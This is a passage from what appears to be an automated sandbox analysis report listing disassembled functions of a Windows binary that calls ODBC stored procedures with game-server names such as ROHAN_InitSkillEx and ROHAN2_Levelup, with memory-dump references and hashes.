                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_InsertMapMemo] (?, ?, ? ,? ,?)}
                                                                                                                            • API String ID: 0-1444967836
                                                                                                                            • Opcode ID: 6101895e9b4713de0a4a568e9e4bee4b4f2de7c4b605b6a38487b85ad0353d39
                                                                                                                            • Instruction ID: a8dd0ea4eb6a3700a08e41645213e6cb3600340bca2bfbc8e3a56616f3b69ed7
                                                                                                                            • Opcode Fuzzy Hash: 6101895e9b4713de0a4a568e9e4bee4b4f2de7c4b605b6a38487b85ad0353d39
                                                                                                                            • Instruction Fuzzy Hash: 1C41C271640314ABEB649B54CC52F9973B5FBC4F18F20C289F6586A2C9DDB16A80CB98
                                                                                                                            Function 004320EB Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 123COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_InitSkillEx] (?,?,?,?,?)},000000FD), ref: 00432114
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00432153
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00432188
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004321C0
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 004321F8
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 00432230
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00432268
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_InitSkillEx] (?,?,?,?,?)}, xrefs: 0043210B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_InitSkillEx] (?,?,?,?,?)}
                                                                                                                            • API String ID: 0-2685933068
                                                                                                                            • Opcode ID: 8f9092834e70e56e4cc412fc4cedc177ad2269e0767285a24a9af19ca8d0659f
                                                                                                                            • Instruction ID: bbedabbe50930767c36a09a2fd0d4c2e7050d78e22c4077049a21a9f1bf36ca4
                                                                                                                            • Opcode Fuzzy Hash: 8f9092834e70e56e4cc412fc4cedc177ad2269e0767285a24a9af19ca8d0659f
                                                                                                                            • Instruction Fuzzy Hash: D841F470A45214BBFB249B54CC52FA973B4FB44B14F14C2C8F6956E2C5D9B16D808FA8
                                                                                                                            Function 004251B6 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 123COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_InsNGuildPostBox] (?,?,?,?,?) } ,000000FD), ref: 004251DF
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042521E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00425253
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042528B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004252C3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004252FB
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 00425333
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_InsNGuildPostBox] (?,?,?,?,?) } , xrefs: 004251D6
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_InsNGuildPostBox] (?,?,?,?,?) }
                                                                                                                            • API String ID: 0-1871579317
                                                                                                                            • Opcode ID: ccf2a846a8ab2a7f77b0d34c3eb5986345c602ac7aacf92c158e20e3bf71881e
                                                                                                                            • Instruction ID: 6d8c9b4bbc335de754213000ee3570b67c18a48b20b050c6548d87a37e0746fa
                                                                                                                            • Opcode Fuzzy Hash: ccf2a846a8ab2a7f77b0d34c3eb5986345c602ac7aacf92c158e20e3bf71881e
                                                                                                                            • Instruction Fuzzy Hash: BC41E1B0A443147BEB64DB54CC92FE97374EB84B28F208289F7187E2C5D5B16E80CB58
                                                                                                                            Function 0043135D Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 123COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetTCharacterUI] (?,?,?,?,?)},000000FD), ref: 00431386
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004313C5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004313FA
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00431432
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043146A
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E7,000000FB,00000000), ref: 004314A2
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000FE,000000FD,000009C4,00000000,?,000009C4,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004314E0
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetTCharacterUI] (?,?,?,?,?)}, xrefs: 0043137D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetTCharacterUI] (?,?,?,?,?)}
                                                                                                                            • API String ID: 0-2369720846
                                                                                                                            • Opcode ID: 4a0a7005288dd1adc6bbfec051a17a195ebb6ac65453ce2f1ab8af521ac4f053
                                                                                                                            • Instruction ID: 46c86c05e5864f111906bd73296e14abaace2385502da9170c727297f1c639ce
                                                                                                                            • Opcode Fuzzy Hash: 4a0a7005288dd1adc6bbfec051a17a195ebb6ac65453ce2f1ab8af521ac4f053
                                                                                                                            • Instruction Fuzzy Hash: E941E370644218B7EB648B54CC52FD973B8FF44714F20C294F7546E2C5DD7169828BD8
                                                                                                                            Function 0043F412 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 123COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_TakeAttachedItem](?, ?, ?, ?, ?)},000000FD), ref: 0043F432
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043F47D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043F4B5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043F4EA
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043F522
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043F55A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0043F592
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_TakeAttachedItem](?, ?, ?, ?, ?)}, xrefs: 0043F429
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_TakeAttachedItem](?, ?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-3931410329
                                                                                                                            • Opcode ID: 2d76c703b8b037339419120d9e255ef953af83617c129b91e22ef5b60970663d
                                                                                                                            • Instruction ID: 6984c4daf2999592318bf58aaa57c9b67dd051f09ccf977d6fb0cd42565c3f9c
                                                                                                                            • Opcode Fuzzy Hash: 2d76c703b8b037339419120d9e255ef953af83617c129b91e22ef5b60970663d
                                                                                                                            • Instruction Fuzzy Hash: 0C4102756482157BEB68CB54CC92FE97378EB44F18F208388F7196E2C5D7B16D808B58
                                                                                                                            Function 0042C00F Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 121COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN2_Levelup](?, ?, ?, ?, ?)},000000FD), ref: 0042C02F
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042C06E
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042C0A3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042C0DB
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0042C113
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0042C14B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0042C183
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN2_Levelup](?, ?, ?, ?, ?)}, xrefs: 0042C026
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN2_Levelup](?, ?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-3347584380
                                                                                                                            • Opcode ID: 8945c1279c7ce2bc33f89854a8adc1038ee898be14911993dab56e5a46036344
                                                                                                                            • Instruction ID: 8709763eecf8fe0797b9f952ce94007c680e04ed5b1be268d3ccc442abce4ef1
                                                                                                                            • Opcode Fuzzy Hash: 8945c1279c7ce2bc33f89854a8adc1038ee898be14911993dab56e5a46036344
                                                                                                                            • Instruction Fuzzy Hash: 4E41E1F1A443147BEF248F54CD52FAA7378EB85B18F104288F7146E2C6E6B26980CB5D
                                                                                                                            Function 0042E1A1 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 121COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN2_SaveAffectSkill] (?, ?, ?, ?, ?)},000000FD), ref: 0042E1C1
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042E200
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042E235
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042E26D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 0042E2A5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0042E2DD
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042E315
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN2_SaveAffectSkill] (?, ?, ?, ?, ?)}, xrefs: 0042E1B8
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
